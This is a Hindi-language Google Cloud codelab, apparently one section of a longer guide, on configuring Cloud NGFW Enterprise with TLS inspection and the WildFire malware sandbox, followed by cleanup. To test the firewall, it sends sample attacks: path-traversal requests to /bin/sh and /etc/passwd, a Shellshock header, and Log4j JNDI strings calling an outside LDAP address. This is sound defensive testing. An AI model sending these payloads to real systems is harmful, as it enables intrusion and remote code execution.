curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2
curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2
curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2
curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2
curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2
सैंपल के तौर पर, इंटरनेट डेस्टिनेशन के लिए अनुमानित नतीजे:
400 404 400 403 403
वीएम टर्मिनल से बाहर निकलें और Cloud Shell पर वापस जाएं.
9. टीएलएस की सुरक्षा जांच के लिए, फ़ायरवॉल के नियम बनाना और उन्हें अपडेट करना
हमने पहले, फ़ायरवॉल का एक नियम कॉन्फ़िगर किया था, ताकि इंटरनल सबनेट से हमारे सर्वर पर इन्ग्रेस डेटा ट्रैफ़िक को अनुमति मिल सके. अब हम मौजूदा इन्ग्रेस नियमों को अपडेट करेंगे और कार्रवाई को apply_security_profile_group पर सेट करेंगे. इससे टीएलएस के साथ ई/डब्ल्यू एल7 इंस्पेक्शन की सुविधा चालू हो जाएगी:
gcloud compute network-firewall-policies rules update 800 \
--action=apply_security_profile_group \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
--tls-inspect
टीएलएस के साथ नॉर्थबाउंड एल7 इंस्पेक्शन की जांच करने के लिए, एक नया नियम बनाएं.
gcloud compute network-firewall-policies rules create 900 \
--description "Inspect egress traffic over TCP 443" \
--action=apply_security_profile_group \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--direction=EGRESS \
--enable-logging \
--layer4-configs tcp:443 \
--dest-ip-ranges=0.0.0.0/0 \
--target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \
--security-profile-group=/networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
--tls-inspect
ईस्ट/वेस्ट ट्रैफ़िक के लिए, इग्रेस डेटा ट्रैफ़िक की अनुमति देने वाला नया नियम बनाएं, ताकि ट्रैफ़िक की दो बार जांच न हो.
gcloud compute network-firewall-policies rules create 850 \
--description "Prevent double inspection" \
--action=ALLOW \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--direction=EGRESS \
--layer4-configs tcp:443 \
--dest-ip-ranges=10.0.0.0/24 \
--target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client
10. नॉर्थबाउंड टीएलएस इंस्पेक्शन की पुष्टि करना
क्लाइंट वीएम टैब पर वापस जाएं या फिर से कनेक्ट करें:
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
सैंपल हमलों को इंटरनेट पर मौजूद किसी डेस्टिनेशन पर भेजें:
curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2
curl https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2
curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2
curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2
curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2
नीचे दिए गए आउटपुट के मुताबिक, कोई जवाब नहीं मिला. इससे यह पुष्टि होती है कि सैंपल अटैक अब ब्लॉक किए जा रहे हैं:
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
वैरिएबल को पहले वाले सर्वर आईपी पर सेट करें:
export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]
सर्वर को सैंपल टीएलएस अनुरोध भेजें:
curl https://$target_privateip --max-time 2
अनुमानित आउटपुट:
curl: (60) SSL certificate problem: self signed certificate More details here: https://curl.se/docs/sslcerts.html curl failed to verify the legitimacy of the server and therefore could not establish a secure connection to it. To learn more about this situation and how to fix it, please visit the web page mentioned above.
यह अनुरोध पूरा क्यों नहीं हुआ? ऐसा इसलिए होता है, क्योंकि फ़ायरवॉल को सर्वर से एक ऐसा सर्टिफ़िकेट मिलता है जिस पर भरोसा नहीं किया जा सकता. ऐसा होने पर, यह क्लाइंट को खुद हस्ताक्षर किया हुआ सर्टिफ़िकेट वापस भेज देगा. भरोसेमंद कनेक्शन चालू करने के लिए, हमें ट्रस्ट कॉन्फ़िगरेशन के हिस्से के तौर पर सीए सर्टिफ़िकेट जोड़ना होगा.
Cloud Shell पर वापस जाएं.
11. ट्रस्ट कॉन्फ़िगरेशन को कॉन्फ़िगर करना
रूट सीए सर्टिफ़िकेट पाएं और उसे सही फ़ॉर्मैटिंग के साथ वैरिएबल के तौर पर सेट करें.
export NGFW_ROOT_CA=$(gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" | sed 's/^/ /')
ट्रस्ट कॉन्फ़िगरेशन की YAML फ़ाइल को कॉन्फ़िगर करें. इस फ़ाइल में, सीए सर्टिफ़िकेट जैसी भरोसेमंद जानकारी शामिल होती है:
cat > trust_config.yaml << EOF
name: "$prefix-trust-config"
trustStores:
- trustAnchors:
- pemCertificate: |
${NGFW_ROOT_CA}
EOF
ऊपर दिए गए निर्देशों में, आपके रूट सीए सर्टिफ़िकेट को ट्रस्ट स्टोर के हिस्से के तौर पर शामिल किया गया है. ऐसा इसलिए, क्योंकि आपके सर्वर सर्टिफ़िकेट पर रूट सीए का इस्तेमाल करके हस्ताक्षर किया गया था. इसका मतलब है कि फ़ायरवॉल, आपके रूट सीए से साइन किए गए सभी सर्टिफ़िकेट पर भरोसा करेगा. साथ ही, अगर आपकी टीएलएस नीति में excludePublicCaSet को 'गलत है' पर सेट किया गया है, तो फ़ायरवॉल सार्वजनिक सीए पर भी भरोसा करेगा.
ट्रस्ट कॉन्फ़िगरेशन का कॉन्टेंट देखें.
cat trust_config.yaml
आउटपुट का सैंपल:
सर्टिफ़िकेट के इंडेंटेशन अलाइनमेंट पर खास ध्यान दें. यह इसी फ़ॉर्मैट में होना चाहिए.
name: "ngfw-enterprise-trust-config"
trustStores:
- trustAnchors:
- pemCertificate: |
-----BEGIN CERTIFICATE-----
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRS
-----END CERTIFICATE-----
ट्रस्ट कॉन्फ़िगरेशन इंपोर्ट करें:
gcloud certificate-manager trust-configs import $prefix-trust-config --project=$project_id --location=$region --source=trust_config.yaml
ट्रस्ट कॉन्फ़िगरेशन को शामिल करने के लिए, टीएलएस नीति की YAML फ़ाइल को अपडेट करें:
cat > tls_policy.yaml << EOF description: Test tls inspection policy. name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool excludePublicCaSet: false minTlsVersion: TLS_1_1 tlsFeatureProfile: PROFILE_COMPATIBLE trustConfig: projects/$project_id/locations/$region/trustConfigs/$prefix-trust-config EOF
अपडेट की गई टीएलएस नीति इंपोर्ट करें:
gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml
12. ई/डब्ल्यू टीएलएस इंस्पेक्शन की पुष्टि करना
अपडेट किए गए ट्रस्ट कॉन्फ़िगरेशन के साथ ईस्ट/वेस्ट ट्रैफ़िक की जांच करने के लिए, क्लाइंट पर एसएसएच करें:
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
सर्वर पर सैंपल टीएलएस अनुरोध चलाएं:
curl https://$target_privateip --max-time 2
अगर आपको अब भी नीचे दिया गया आउटपुट मिलता है, तो कृपया अपडेट लागू होने तक इंतज़ार करें.
curl: (60) SSL certificate problem: self signed certificate More details here: https://curl.se/docs/sslcerts.html curl failed to verify the legitimacy of the server and therefore could not establish a secure connection to it. To learn more about this situation and how to fix it, please visit the web page mentioned above.
अनुमानित आउटपुट:
Page on ngfw-enterprise-us-west1-b-www in network ngfw-enterprise-vpc zone $zone
सर्वर पर नुकसान पहुंचाने वाला टेस्ट ट्रैफ़िक भेजना:
curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2
curl https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2
curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2
curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2
curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2
अनुमानित आउटपुट:
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
नीचे दिए गए आउटपुट के मुताबिक, कोई जवाब नहीं मिला. इससे यह पुष्टि होती है कि सैंपल अटैक को अब E/W के लिए ब्लॉक किया जा रहा है.
13. लॉग इन हो रहा है
Cloud Console में, Logging > Logs Explorer पर जाएं. इसके बाद, यहां दिया गया फ़िल्टर डालें और लॉग के लिए क्वेरी करें. [PROJECT_ID] की जगह अपना project_id डालें:
logName="projects/[PROJECT_ID]/logs/networksecurity.googleapis.com%2Ffirewall_threat"
Cloud NGFW Enterprise लॉग की एंट्री, यहां दी गई इमेज की तरह दिखनी चाहिए:

लॉग एंट्री को बड़ा करें और ध्यान दें कि क्लाइंट वीएम से सर्वर पर किए गए हमलों की पहचान की गई और उन्हें ब्लॉक किया गया. यहां दिए गए स्क्रीनशॉट के मुताबिक, Apache Log4j रिमोट कोड एक्ज़ीक्यूशन से जुड़े जोखिम को ब्लॉक किया गया.

आपने नुकसान पहुंचाने वाले अनुरोधों को ब्लॉक करने के लिए, टीएलएस की सुरक्षा जांच के साथ Cloud NGFW Enterprise को डिप्लॉय कर दिया है.
ऐडवांस मैलवेयर सैंडबॉक्स (WildFire) को कॉन्फ़िगर करने और उसकी पुष्टि करने के लिए, अगले सेक्शन पर जाएं. इसके अलावा, क्लीन-अप के चरणों पर जाएं.
14. [ज़रूरी नहीं] ऐडवांस मैलवेयर सैंडबॉक्स (WildFire) को कॉन्फ़िगर करना
ऐडवांस मैलवेयर सैंडबॉक्स (WildFire), Cloud NGFW Enterprise की खतरे से बचाव की सुविधा को बेहतर बनाता है. इसके लिए, यह ट्रांज़िट में मौजूद फ़ाइलों की जांच करता है और अनजान फ़ाइलों को क्लाउड-आधारित सैंडबॉक्स (Palo Alto Networks Advanced WildFire की मदद से काम करता है) में सबमिट करता है, ताकि उनके व्यवहार का गहराई से विश्लेषण किया जा सके.
ऐडवांस मैलवेयर सैंडबॉक्स के असली उपयोगकर्ता के लाइसेंस समझौते (ईयूएलए) को स्वीकार करना
फ़ायरवॉल एंडपॉइंट पर ऐडवांस मैलवेयर सैंडबॉक्स की सुविधा चालू करने से पहले, आपको अपने बिलिंग प्रोजेक्ट ($billing_project) पर असली उपयोगकर्ता को लाइसेंस देने के लिए कानूनी समझौता (ईयूएलए) की समीक्षा करनी होगी और उसे स्वीकार करना होगा. ईयूएलए को सिर्फ़ Google Cloud Console में स्वीकार किया जा सकता है: नेटवर्क की सुरक्षा > फ़ायरवॉल एंडपॉइंट पर जाएं, $prefix-$zone एंडपॉइंट में बदलाव करें, ऐडवांस कॉन्फ़िगरेशन में जाकर, ऐडवांस मैलवेयर सैंडबॉक्स (WildFire) चालू करें को चुनें, और सहमति दें और जारी रखें पर क्लिक करें.
फ़ायरवॉल एंडपॉइंट पर ऐडवांस मैलवेयर सैंडबॉक्स को चालू करना
gcloud network-security firewall-endpoints update का इस्तेमाल करके, मौजूदा $prefix-$zone फ़ायरवॉल एंडपॉइंट पर ऐडवांस मैलवेयर सैंडबॉक्स चालू करें:
gcloud network-security firewall-endpoints update $prefix-$zone \ --zone=$zone \ --organization $org_id \ --billing-project=$billing_project \ --enable-wildfire \ --no-async
पुष्टि करें कि फ़ायरवॉल एंडपॉइंट पर, ऐडवांस मैलवेयर सैंडबॉक्स चालू है:
gcloud network-security firewall-endpoints describe $prefix-$zone \ --organization $org_id \ --zone $zone
अनुमानित आउटपुट (wildfireSettings: enabled: true और state: ACTIVE की पुष्टि करें):
associatedNetworks: - projects/$project_number/global/networks/$prefix-vpc associations: - name: projects/$project_number/locations/$zone/firewallEndpointAssociations/$prefix-association network: projects/$project_number/global/networks/$prefix-vpc billingProjectId: $billing_project createTime: '2023-11-16T04:27:17.677731831Z' endpointSettings: contentCloudRegion: US_CENTRAL name: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone state: ACTIVE updateTime: '2023-11-16T05:15:12.104829104Z' wildfireSettings: enabled: true wildfireRegion: UNITED_STATES
WILDFIRE_ANALYSIS की सुरक्षा प्रोफ़ाइल बनाना और उसे कॉन्फ़िगर करना
$prefix-sp-wildfire नाम से, ऐडवांस मैलवेयर सैंडबॉक्स (WILDFIRE_ANALYSIS) की सुरक्षा प्रोफ़ाइल बनाएं:
gcloud network-security security-profiles wildfire-analysis \ create $prefix-sp-wildfire \ --organization $org_id \ --location=global
अनुमानित आउटपुट:
Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$prefix-sp-wildfire] to be created...done.
इसके बाद, अपलोड और डाउनलोड (--direction=BOTH), दोनों ही तरीकों से APK फ़ाइलें सबमिट करने के लिए, एसिंक्रोनस सबमिशन का नियम जोड़ें:
gcloud network-security security-profiles wildfire-analysis \ add-submission-rule $prefix-sp-wildfire \ --organization $org_id \ --location=global \ --file-types=APK \ --direction=BOTH
अनुमानित आउटपुट:
Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$prefix-sp-wildfire] to be updated...done.
कॉन्फ़िगर की गई WILDFIRE_ANALYSIS सुरक्षा प्रोफ़ाइल की जांच करें:
gcloud network-security security-profiles wildfire-analysis \ describe $prefix-sp-wildfire \ --organization $org_id \ --location=global
अनुमानित आउटपुट:
createTime: '2026-02-20T23:56:26.279556627Z'
etag: S5I9SG6PfLz9g9wDqESHaqVwguOWmZhtlxC6-6HNbv4
name: organizations/$org_id/locations/global/securityProfiles/$prefix-sp-wildfire
type: WILDFIRE_ANALYSIS
updateTime: '2026-02-20T23:56:33.791742652Z'
wildfireAnalysisProfile:
wildfireInlineMlSetting: {}
wildfireSubmissionRules:
- customFileTypes:
fileTypes:
- APK
direction: BOTH
fileSelectionMode: CUSTOM_FILE_TYPES
सुरक्षा प्रोफ़ाइल ग्रुप ($prefix-spg) को अपडेट करना
$prefix-sp-wildfire अटैच करने के लिए, $prefix-spg को अपडेट करें:
gcloud network-security security-profile-groups update $prefix-spg \ --organization $org_id \ --location=global \ --wildfire-analysis-profile=organizations/$org_id/locations/global/securityProfiles/$prefix-sp-wildfire
अनुमानित आउटपुट:
Waiting for security-profile-group [organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg] to be updated...done.
फ़ायरवॉल नीति के नियम 900 (EGRESS, tcp:443 पर --action=apply_security_profile_group और --tls-inspect के साथ) में पहले से ही $prefix-spg का रेफ़रंस दिया गया है. इसलिए, $prefix-$zone-client से शुरू किए गए एन्क्रिप्ट किए गए एचटीटीपीएस फ़ाइल डाउनलोड, टीएलएस जांच से अपने-आप डिक्रिप्ट हो जाते हैं. साथ ही, फ़ायरवॉल नीति के नियम में कोई बदलाव किए बिना, ऐडवांस मैलवेयर सैंडबॉक्स से उनका आकलन किया जाता है.
15. [ज़रूरी नहीं] Advanced Malware Sandbox File Submission and Forensics की पुष्टि करना
एसिंक्रोनस सैंडबॉक्स सबमिशन और फ़ाइल-टाइप फ़िल्टर करने की सुविधा को टेस्ट करना
Identity-Aware Proxy (आईएपी) की मदद से, क्लाइंट वीएम ($prefix-$zone-client) से कनेक्ट करें:
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
क्लाइंट वीएम से, एचटीटीपीएस का इस्तेमाल करके Palo Alto Networks की सार्वजनिक टेस्ट APK फ़ाइल डाउनलोड करें:
curl -o /tmp/wildfire-test.apk https://wildfire.paloaltonetworks.com/publicapi/test/apk --max-time 15
इसके बाद, एचटीटीपीएस पर Palo Alto Networks की सार्वजनिक टेस्ट ELF फ़ाइल डाउनलोड करें:
curl -o /tmp/wildfire-test.elf https://wildfire.paloaltonetworks.com/publicapi/test/elf --max-time 15
$prefix-sp-wildfire में सबमिट करने का हमारा नियम, सिर्फ़ APK फ़ाइलों (--file-types=APK) को टारगेट करता है. इसलिए, फ़ायरवॉल, ELF फ़ाइल को ऐडवांस मैलवेयर सैंडबॉक्स में सबमिट नहीं करता.
क्लाइंट वीएम टर्मिनल से बाहर निकलें और Cloud Shell पर वापस जाएं.
Cloud Logging में WildfireSubmissionLog की पुष्टि करें
Cloud Console में, Logging > Logs Explorer पर जाएं. इसके बाद, यहां दिया गया फ़िल्टर डालें और लॉग के लिए क्वेरी करें. [PROJECT_ID] की जगह अपना project_id डालें:
logName="projects/[PROJECT_ID]/logs/networksecurity.googleapis.com%2Ffirewall_wildfire"
सैंडबॉक्स विश्लेषण पूरा होने के बाद (आम तौर पर कुछ मिनटों में), APK फ़ाइल डाउनलोड के लिए WildfireSubmissionLog एंट्री दिखती है. हालांकि, ELF फ़ाइल डाउनलोड के लिए कोई सबमिशन लॉग जनरेट नहीं होता. अगर कुछ मिनटों के बाद भी कोई लॉग एंट्री नहीं दिखती है, तो सिक्योरिटी प्रोफ़ाइल ग्रुप के प्रोपेगेशन विंडो के पूरा होने के लिए 15 मिनट तक इंतज़ार करें और curl डाउनलोड को फिर से चलाएं. लॉग एंट्री को बड़ा करें और ध्यान दें कि इसका JSON पेलोड, यहां दिए गए पेलोड जैसा है:
{
"insertId": "3xim62fg6n786",
"jsonPayload": {
"@type": "type.googleapis.com/google.cloud.networksecurity.logging.v1.WildfireSubmissionLog",
"action": "ALLOW",
"connection": {
"clientIp": "10.0.0.2",
"clientPort": 37142,
"protocol": "tcp",
"serverIp": "104.199.115.54",
"serverPort": 443
},
"interceptInstance": {
"projectId": "$project_id",
"vm": "ngfw-enterprise-$zone-client"
},
"interceptVpc": {
"projectId": "$project_id",
"vpc": "ngfw-enterprise-vpc"
},
"securityProfileGroupDetails": {
"organizationId": "$org_id",
"securityProfileGroupId": "ngfw-enterprise-spg"
},
"wildfireDetails": {
"detectionTime": "2026-10-16T20:29:44Z",
"direction": "SERVER_TO_CLIENT",
"file": "wildfire-test-apk-file.apk",
"fileType": "APK",
"hash": "A526BDAD9BD60C8A317184D3327C3A0C9DD522354D5DC5ED2B6A4633AA2C5007",
"repeatCount": 1,
"reportUri": "https://networksecurity.usercontent.google.com/organizations/$org_id/locations/$zone/firewallEndpoints/ngfw-enterprise-$zone/wildfireReports/A526BDAD9BD60C8A317184D3327C3A0C9DD522354D5DC5ED2B6A4633AA2C5007",
"sampleUri": "https://networksecurity.usercontent.google.com/organizations/$org_id/locations/$zone/firewallEndpoints/ngfw-enterprise-$zone/wildfireSamples/A526BDAD9BD60C8A317184D3327C3A0C9DD522354D5DC5ED2B6A4633AA2C5007",
"severity": "[SEVERITY]",
"subtype": "WILDFIRE",
"verdict": "[VERDICT]"
}
},
"logName": "projects/$project_id/logs/networksecurity.googleapis.com%2Ffirewall_wildfire",
"receiveTimestamp": "2026-10-16T20:29:57.880438600Z",
"resource": {
"labels": {
"id": "ngfw-enterprise-$zone",
"location": "$zone",
"resource_container": "organizations/$org_id"
},
"type": "networksecurity.googleapis.com/FirewallEndpoint"
},
"timestamp": "2026-10-16T20:29:57.880438600Z"
}
wildfireDetails में मौजूद मुख्य फ़ील्ड पर ध्यान दें:
fileType: "APK"औरsubtype: "WILDFIRE",APKट्रांसफ़र के एसिंक्रोनस सैंडबॉक्स विश्लेषण की पुष्टि करते हैं.file, सर्वर (wildfire-test-apk-file.apk) से मिली फ़ाइल का नाम है. यहcurl -oके साथ इस्तेमाल किए गए लोकल फ़ाइल नाम से अलग हो सकता है.hash, टेस्ट सैंपल के यूनीक SHA-256 डाइजेस्ट की पहचान करता है.verdictऔरseverityका पता, सैंडबॉक्स विश्लेषण से चलता है.reportUriऔरsampleUri, डाइनैमिक विश्लेषण की रिपोर्ट और सबमिट किए गए सैंपल को वापस पाने के लिए डायरेक्ट लिंक उपलब्ध कराते हैं.
सबमिट किए गए आर्टफ़ैक्ट देखना और फ़ोरेंसिक आर्टफ़ैक्ट डाउनलोड करना
Cloud Console में, नेटवर्क की सुरक्षा > NGFW Enterprise के लॉग > ऐडवांस मैलवेयर सैंडबॉक्स सबमिशन पर जाएं. इसके बाद, अपना प्रोजेक्ट चुनें. सबमिट की गई जानकारी देखने के लिए, wildfire-test-apk-file.apk एंट्री पर क्लिक करें. इसमें फ़ाइल का SHA-256 हैश, फ़ाइल के बारे में फ़ैसले, और फ़ायरवॉल एंडपॉइंट की जानकारी शामिल होती है. सबमिट की गई फ़ाइल के लिए, ज़्यादा कार्रवाइयां में जाकर, विश्लेषण की रिपोर्ट डाउनलोड करें को चुना जा सकता है. इससे, डाइनैमिक विश्लेषण की रिपोर्ट PDF फ़ॉर्मैट में डाउनलोड हो जाएगी. इसके अलावा, सबमिट की गई फ़ाइल को डाउनलोड करने के लिए, मैलवेयर का सैंपल डाउनलोड करें को चुना जा सकता है.
इसके अलावा, Cloud Shell से विश्लेषण की रिपोर्ट और सैंपल डाउनलोड किया जा सकता है. इसके लिए, WildfireSubmissionLog एंट्री से reportUri और sampleUri वैल्यू का इस्तेमाल करें:
export report_uri="<REPORT_URI_FROM_LOG>" export sample_uri="<SAMPLE_URI_FROM_LOG>" curl -H "Authorization: Bearer $(gcloud auth print-access-token)" \ "$report_uri" -o wildfire-report.pdf curl -H "Authorization: Bearer $(gcloud auth print-access-token)" \ "$sample_uri" -o wildfire-sample.bin
16. क्लीन-अप करने का तरीका
Base Setup Clean-Up
इंस्टेंस हटाएं:
gcloud -q compute instances delete $prefix-$zone-www --zone=$zone gcloud -q compute instances delete $prefix-$zone-client --zone=$zone
अगर tagAdmin और tagUsers की भूमिकाएं बदली गई हैं, तो नीचे दिया गया तरीका अपनाएं:
export user_id=$(gcloud auth list --format="value(account)") gcloud organizations remove-iam-policy-binding $org_id \ --member user:$user_id --role roles/resourcemanager.tagAdmin gcloud organizations remove-iam-policy-binding $org_id \ --member user:$user_id --role roles/resourcemanager.tagUser
टैग की और वैल्यू हटाएं:
gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags
Cloud Firewall Network Policy और असोसिएशन को हटाएं:
gcloud -q compute network-firewall-policies associations delete \
--firewall-policy $prefix-fwpolicy \
--name $prefix-fwpolicy-association \
--global-firewall-policy
gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global
Cloud Router और Cloud NAT को मिटाएं:
gcloud -q compute routers nats delete $prefix-cloudnat-$region \ --router=$prefix-cr --router-region $region gcloud -q compute routers delete $prefix-cr --region=$region
रिज़र्व किए गए आईपी पते मिटाना:
gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region
Cloud Firewall एसपीजी, असोसिएशन, और टीएलएस क्लीन-अप
सिक्योरिटी प्रोफ़ाइल ग्रुप और सिक्योरिटी प्रोफ़ाइल को इस क्रम में मिटाएं. अगर आपने 'ऐडवांस मैलवेयर सैंडबॉक्स' सेक्शन को पूरा किया है, तो $prefix-spg को मिटाने के बाद, $prefix-sp-wildfire को मिटाने के लिए भी कमांड चलाएं:
gcloud -q network-security security-profile-groups delete \ $prefix-spg \ --organization $org_id \ --location=global gcloud -q network-security security-profiles wildfire-analysis \ delete $prefix-sp-wildfire \ --organization $org_id \ --location=global gcloud -q network-security security-profiles threat-prevention \ delete $prefix-sp-threat \ --organization $org_id \ --location=global
Cloud Firewall एंडपॉइंट असोसिएशन को मिटाएं:
gcloud -q network-security firewall-endpoint-associations delete \ $prefix-association --zone $zone
Cloud Firewall एंडपॉइंट को मिटाएं. इसमें करीब 20 मिनट लग सकते हैं:
gcloud -q network-security firewall-endpoints delete $prefix-$zone --zone=$zone --organization $org_id
ज़रूरी नहीं: नीचे दिया गया कमांड चलाकर पुष्टि करें कि Cloud NGFW एंडपॉइंट मिटा दिया गया है:
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
एंडपॉइंट की स्थिति में यह दिखना चाहिए:
STATE: DELETING
इसके बाद, एंडपॉइंट सूची में नहीं दिखेगा.
टीएलएस नीति और ट्रस्ट कॉन्फ़िगरेशन को इस क्रम में मिटाएं:
gcloud -q network-security tls-inspection-policies delete \ $prefix-tls-policy \ --location=$region gcloud -q alpha certificate-manager trust-configs delete \ $prefix-trust-config \ --location=$region
रूट सीए और सीए पूल को बंद करना और मिटाना:
gcloud -q privateca roots disable $prefix-CA-Root \ --location=$region \ --pool=$prefix-CA-Pool \ --ignore-dependent-resources gcloud -q privateca roots delete $prefix-CA-Root \ --location=$region \ --pool=$prefix-CA-Pool \ --skip-grace-period \ --ignore-active-certificates \ --ignore-dependent-resources gcloud -q privateca pools delete $prefix-CA-Pool \ --location=$region \ --ignore-dependent-resources
सबनेट और वीपीसी को मिटाना
आखिर में, सबनेट और वीपीसी नेटवर्क को मिटाएं:
gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region gcloud -q compute networks delete $prefix-vpc
17. बधाई हो!
बधाई हो, आपने Cloud NGFW Enterprise for East-West and Northbound TLS Inspection कोडलैब पूरा कर लिया है.